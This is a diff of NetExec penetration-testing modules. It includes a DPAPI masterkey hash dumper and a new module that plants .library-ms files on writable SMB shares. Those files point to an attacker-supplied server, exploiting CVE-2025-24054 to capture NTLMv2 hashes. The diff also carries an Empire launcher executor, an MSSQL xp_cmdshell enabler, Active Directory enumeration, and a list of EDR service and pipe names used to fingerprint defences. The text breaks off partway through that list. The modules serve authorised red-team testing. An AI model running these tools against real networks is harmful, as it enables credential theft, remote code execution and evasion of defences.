from nxc.helpers.misc import CATEGORY
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""OUTPUTFILE Output file to write hashes"""
|
||||
@@ -19,33 +16,11 @@ class NXCModule:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
target=connection.dpapi_triage.target,
|
||||
conn=connection.dpapi_triage.conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
@@ -58,6 +33,6 @@ class NXCModule:
|
||||
else:
|
||||
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
||||
context.log.highlight(mkhash)
|
||||
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
@@ -0,0 +1,91 @@
|
||||
import ntpath
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
|
||||
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
|
||||
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
|
||||
Module by: @XedSama
|
||||
"""
|
||||
name = "drop-library-ms"
|
||||
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
|
||||
|
||||
self.server = None
|
||||
self.lms_name = ""
|
||||
self.cleanup = False
|
||||
|
||||
self.local_path = None
|
||||
self.remote_path = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SERVER Attacker machine
|
||||
NAME File name
|
||||
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
|
||||
CLEANUP Cleaning option (True or False)
|
||||
"""
|
||||
if "SERVER" not in module_options and not self.cleanup:
|
||||
context.log.fail("SERVER option is required")
|
||||
exit(1)
|
||||
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if "IGNORE" in module_options:
|
||||
self.ignore_shares = module_options["IGNORE"].split(",")
|
||||
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
|
||||
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug(f"CLEANUP is set to {self.cleanup}")
|
||||
|
||||
self.lms_name = module_options["NAME"]
|
||||
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
|
||||
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
|
||||
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
with open(self.local_path, "w", encoding="utf-8") as libms:
|
||||
libms.truncate(0)
|
||||
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
|
||||
libms.write("<searchConnectorDescriptionList>")
|
||||
libms.write("<searchConnectorDescription>")
|
||||
libms.write("<simpleLocation>")
|
||||
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
|
||||
libms.write("</simpleLocation>")
|
||||
libms.write("</searchConnectorDescription>")
|
||||
libms.write("</searchConnectorDescriptionList>")
|
||||
libms.write("</libraryDescription>")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
|
||||
context.log.success(f"Found writable share : {share['name']}")
|
||||
|
||||
if self.cleanup:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.remote_path)
|
||||
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
|
||||
|
||||
else:
|
||||
with open(self.local_path, "rb") as libms:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.remote_path, libms.read)
|
||||
context.log.success(f"Created .library-ms file on share '{share['name']}'")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
|
||||
@@ -1,5 +1,6 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,8 +13,7 @@ class NXCModule:
|
||||
name = "drop-sc"
|
||||
description = "Drop a searchConnector-ms file on each writable share"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -47,7 +47,7 @@ class NXCModule:
|
||||
with open(self.scfile_path, "w") as scfile:
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
|
||||
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
|
||||
scfile.write("<description>Microsoft Outlook</description>")
|
||||
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
|
||||
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dump-computers"
|
||||
description = "Dumps FQDN and OS of all computers in the domain"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
|
||||
OUTPUT Output to file in addition to printing to console
|
||||
|
||||
Examples
|
||||
--------
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
|
||||
"""
|
||||
self.output_file = None
|
||||
self.netbios_only = False
|
||||
self.fqdn_only = False
|
||||
|
||||
if "OUTPUT" in module_options:
|
||||
self.output_file = module_options["OUTPUT"]
|
||||
if "TYPE" in module_options:
|
||||
if module_options["TYPE"].lower() == "netbios":
|
||||
self.netbios_only = True
|
||||
elif module_options["TYPE"].lower() == "fqdn":
|
||||
self.fqdn_only = True
|
||||
|
||||
def on_login(self, context, connection):
|
||||
resp = connection.search(
|
||||
searchFilter="(objectCategory=computer)",
|
||||
attributes=["dNSHostName", "operatingSystem"]
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
|
||||
|
||||
for item in resp_parsed:
|
||||
dns_host_name = item.get("dNSHostName")
|
||||
operating_system = item.get("operatingSystem", "Unknown OS")
|
||||
if not dns_host_name:
|
||||
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
|
||||
continue
|
||||
|
||||
if self.netbios_only:
|
||||
netbios_name = dns_host_name.split(".")[0]
|
||||
answer = netbios_name
|
||||
elif self.fqdn_only:
|
||||
answer = dns_host_name
|
||||
else:
|
||||
answer = f"{dns_host_name} ({operating_system})"
|
||||
answers.append(answer)
|
||||
|
||||
context.log.success("Found the following computers:")
|
||||
for answer in answers:
|
||||
context.log.highlight(answer)
|
||||
|
||||
if self.output_file:
|
||||
try:
|
||||
with open(self.output_file, "w") as f:
|
||||
f.write("\n".join(answers) + "\n")
|
||||
context.log.success(f"Results saved to {self.output_file}")
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to write to file {self.output_file}: {e}")
|
||||
@@ -0,0 +1,20 @@
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "efsr_spray"
|
||||
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
|
||||
supported_protocols = ["smb"]
|
||||
excluded_shares = ["SYSVOL"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context: Context, module_options: dict[str, str]):
|
||||
"""
|
||||
FILE_NAME Name of the file which will be tried to create and afterwards delete
|
||||
SHARE_NAME If set, ONLY this share will be used
|
||||
EXCLUDED_SHARES List of share names which will not be used, separated by comma
|
||||
"""
|
||||
|
||||
def on_login(self, context: Context, connection):
|
||||
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
|
||||
@@ -1,6 +1,7 @@
|
||||
import sys
|
||||
import requests
|
||||
from requests import ConnectionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,8 +13,7 @@ class NXCModule:
|
||||
name = "empire_exec"
|
||||
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -33,7 +33,7 @@ class NXCModule:
|
||||
obfuscate = "OBFUSCATE" in module_options
|
||||
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
|
||||
default_obfuscation = "Token,All,1"
|
||||
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
|
||||
obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
|
||||
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
|
||||
|
||||
# Pull the host and port from the config file
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enables or disables xp_cmdshell in MSSQL Server.
|
||||
Module by crosscutsaw
|
||||
"""
|
||||
|
||||
name = "enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell in MSSQL Server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
self.action = None
|
||||
self.advanced_options_backup = None # Stores original value of 'show advanced options'
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION enable or disable xp_cmdshell
|
||||
|
||||
Examples
|
||||
--------
|
||||
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
|
||||
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
|
||||
"""
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"].lower()
|
||||
else:
|
||||
context.log.fail("Missing required option: ACTION (enable/disable)")
|
||||
exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
|
||||
if self.action == "enable":
|
||||
self.toggle_xp_cmdshell(enable=True)
|
||||
elif self.action == "disable":
|
||||
self.toggle_xp_cmdshell(enable=False)
|
||||
else:
|
||||
self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
|
||||
|
||||
def backup_show_advanced_options(self):
|
||||
"""Backs up the current state of 'show advanced options'."""
|
||||
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
|
||||
if res:
|
||||
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
|
||||
|
||||
def restore_show_advanced_options(self):
|
||||
"""Restores the original state of 'show advanced options' if needed."""
|
||||
if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
|
||||
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
|
||||
|
||||
def toggle_xp_cmdshell(self, enable: bool):
|
||||
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
|
||||
state = "1" if enable else "0"
|
||||
action_text = "enabled" if enable else "disabled"
|
||||
|
||||
# Backup 'show advanced options' state
|
||||
self.backup_show_advanced_options()
|
||||
|
||||
# Enable 'show advanced options' if it was disabled
|
||||
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
|
||||
|
||||
try:
|
||||
# Enable or disable xp_cmdshell
|
||||
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
|
||||
if self.mssql_conn.lastError:
|
||||
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
|
||||
else:
|
||||
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to execute command: {e}")
|
||||
|
||||
# Restore 'show advanced options' to its original state if needed
|
||||
self.restore_show_advanced_options()
|
||||
@@ -0,0 +1,83 @@
|
||||
|
||||
import re
|
||||
|
||||
from termcolor import colored
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.config import host_info_colors
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
|
||||
name = "entra-id"
|
||||
description = "Find the Entra ID sync server"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
# For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
|
||||
msol_parsed = parse_result_attributes(connection.search(
|
||||
searchFilter="(sAMAccountName=MSOL_*)",
|
||||
attributes=["sAMAccountName", "cn", "description"],
|
||||
))
|
||||
self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
|
||||
adsync_parsed = parse_result_attributes(connection.search(
|
||||
searchFilter="(sAMAccountName=ADSyncMSA*)",
|
||||
attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
|
||||
))
|
||||
self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
|
||||
|
||||
hosts = []
|
||||
for acc in msol_parsed:
|
||||
host = re.search(r"computer (?P<host>.*) configured", acc["description"])
|
||||
if host:
|
||||
hostname = host.group("host")
|
||||
# Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
|
||||
resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
|
||||
ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
|
||||
|
||||
hosts.append({
|
||||
"hostname": hostname,
|
||||
"ip": ip,
|
||||
"msol_account": acc["sAMAccountName"],
|
||||
})
|
||||
|
||||
for adsync in adsync_parsed:
|
||||
# The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
|
||||
identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
|
||||
msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
|
||||
self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
|
||||
|
||||
# Get the computer object for the ADSyncMSA service account
|
||||
computer = parse_result_attributes(connection.search(
|
||||
searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
|
||||
attributes=["dNSHostName", "cn", "sAMAccountName"],
|
||||
))[0]
|
||||
|
||||
# If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
|
||||
host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
|
||||
if host and host["ip"]: # Skip if host and IP are already set
|
||||
self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
|
||||
continue
|
||||
elif host: # If host exists but IP is not set, update it
|
||||
host["ip"] = connection.resolver(computer["dNSHostName"])
|
||||
else: # If host does not exist, create a new entry
|
||||
hosts.append({
|
||||
"hostname": computer["cn"],
|
||||
"ip": connection.resolver(computer["dNSHostName"]),
|
||||
})
|
||||
|
||||
if hosts:
|
||||
self.context.log.success("Found Entra ID sync servers:")
|
||||
for host in hosts:
|
||||
self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))
|
||||
+160
-108
@@ -3,10 +3,11 @@
|
||||
# Module by @mpgn_x64
|
||||
# https://twitter.com/mpgn_x64
|
||||
|
||||
from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5 import lsat, lsad
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
import pathlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -18,8 +19,7 @@ class NXCModule:
|
||||
name = "enum_av"
|
||||
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -45,20 +45,8 @@ class NXCModule:
|
||||
results = {}
|
||||
|
||||
try:
|
||||
lsa = LsaLookupNames(
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=target,
|
||||
do_kerberos=connection.kerberos,
|
||||
remoteHost=connection.host,
|
||||
kdcHost=connection.kdcHost,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey
|
||||
)
|
||||
|
||||
dce, _ = lsa.connect()
|
||||
lsa = LsaLookupNames(connection=connection)
|
||||
dce = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
@@ -103,82 +91,11 @@ class NXCModule:
|
||||
|
||||
|
||||
class LsaLookupNames:
|
||||
timeout = None
|
||||
authn_level = None
|
||||
protocol = None
|
||||
transfer_syntax = None
|
||||
machine_account = False
|
||||
def __init__(self, connection=None):
|
||||
self.connection = connection
|
||||
|
||||
iface_uuid = lsat.MSRPC_UUID_LSAT
|
||||
authn = True
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
domain="",
|
||||
username="",
|
||||
password="",
|
||||
remote_name="",
|
||||
do_kerberos=False,
|
||||
remoteHost="",
|
||||
kdcHost="",
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey="",
|
||||
):
|
||||
self.domain = domain
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.remoteName = remote_name
|
||||
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
|
||||
self.doKerberos = do_kerberos
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
self.aesKey = aesKey
|
||||
self.kdcHost = kdcHost
|
||||
self.remoteHost = remoteHost
|
||||
|
||||
def connect(self, string_binding=None, iface_uuid=None):
|
||||
"""Obtains a RPC Transport and a DCE interface according to the bindings and
|
||||
transfer syntax specified.
|
||||
:return: tuple of DCE/RPC and RPC Transport objects
|
||||
:rtype: (DCERPC_v5, DCERPCTransport)
|
||||
"""
|
||||
string_binding = string_binding or self.string_binding
|
||||
if not string_binding:
|
||||
raise NotImplementedError("String binding must be defined")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.remoteHost)
|
||||
|
||||
# Set timeout if defined
|
||||
if self.timeout:
|
||||
rpc_transport.set_connect_timeout(self.timeout)
|
||||
|
||||
# Authenticate if specified
|
||||
if self.authn and hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
|
||||
|
||||
if self.doKerberos:
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
|
||||
|
||||
# Gets the DCE RPC object
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
|
||||
if self.doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
# Connect
|
||||
dce.connect()
|
||||
|
||||
# Bind if specified
|
||||
iface_uuid = iface_uuid or self.iface_uuid
|
||||
if iface_uuid and self.transfer_syntax:
|
||||
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
|
||||
elif iface_uuid:
|
||||
dce.bind(iface_uuid)
|
||||
|
||||
return dce, rpc_transport
|
||||
def connect(self):
|
||||
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
|
||||
|
||||
def open_policy(self, dce):
|
||||
request = lsad.LsarOpenPolicy2()
|
||||
@@ -210,6 +127,19 @@ conf = {
|
||||
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Avast / AVG",
|
||||
"services": [
|
||||
{"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"},
|
||||
{"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"},
|
||||
{"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"},
|
||||
{"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]},
|
||||
{"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Bitdefender",
|
||||
"services": [
|
||||
@@ -240,18 +170,28 @@ conf = {
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
|
||||
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
|
||||
"name": "Check Point Endpoint Security",
|
||||
"services": [
|
||||
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
|
||||
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
|
||||
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
|
||||
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Cortex",
|
||||
"services": [
|
||||
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
|
||||
{"name": "cyserver", "description": " Cortex XDR"}
|
||||
{"name": "cyserver", "description": "Cortex XDR"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
|
||||
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
@@ -264,6 +204,24 @@ conf = {
|
||||
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Cynet",
|
||||
"services": [
|
||||
{"name": "CynetLauncher", "description": "CynetLauncher"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Elastic EDR",
|
||||
"services": [
|
||||
{"name": "Elastic Agent", "description": "Elastic Agent Service"},
|
||||
{"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]},
|
||||
{"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "ESET",
|
||||
"services": [
|
||||
@@ -278,6 +236,24 @@ conf = {
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
{
|
||||
"name": "FortiClient",
|
||||
"services": [
|
||||
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
|
||||
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
|
||||
{"name": "FC_*", "processes": ["FortiTray.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "FortiEDR",
|
||||
"services": [
|
||||
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "G DATA Security Client",
|
||||
"services": [
|
||||
@@ -289,6 +265,40 @@ conf = {
|
||||
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "HarfangLab EDR",
|
||||
"services": [
|
||||
{"name": "hurukai", "description": "HarfangLab Hurukai Agent"},
|
||||
{"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"},
|
||||
{"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"},
|
||||
{"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"},
|
||||
{"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "hurukai-control", "processes": ["hurukai.exe"]},
|
||||
{"name": "hurukai-servicing", "processes": ["hurukai.exe"]},
|
||||
{"name": "hurukai-amsi", "processes": ["hurukai.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Ivanti Security",
|
||||
"services": [
|
||||
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
|
||||
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Kaseya Agent Endpoint",
|
||||
"services": [
|
||||
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
|
||||
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
|
||||
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Kaspersky Security for Windows Server",
|
||||
"services": [
|
||||
@@ -301,6 +311,18 @@ conf = {
|
||||
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Malwarebytes",
|
||||
"services": [
|
||||
{"name": "MBAMService", "description": "Malwarebytes Service"},
|
||||
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "MBLG", "processes": ["MBAMService.exe"]},
|
||||
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
|
||||
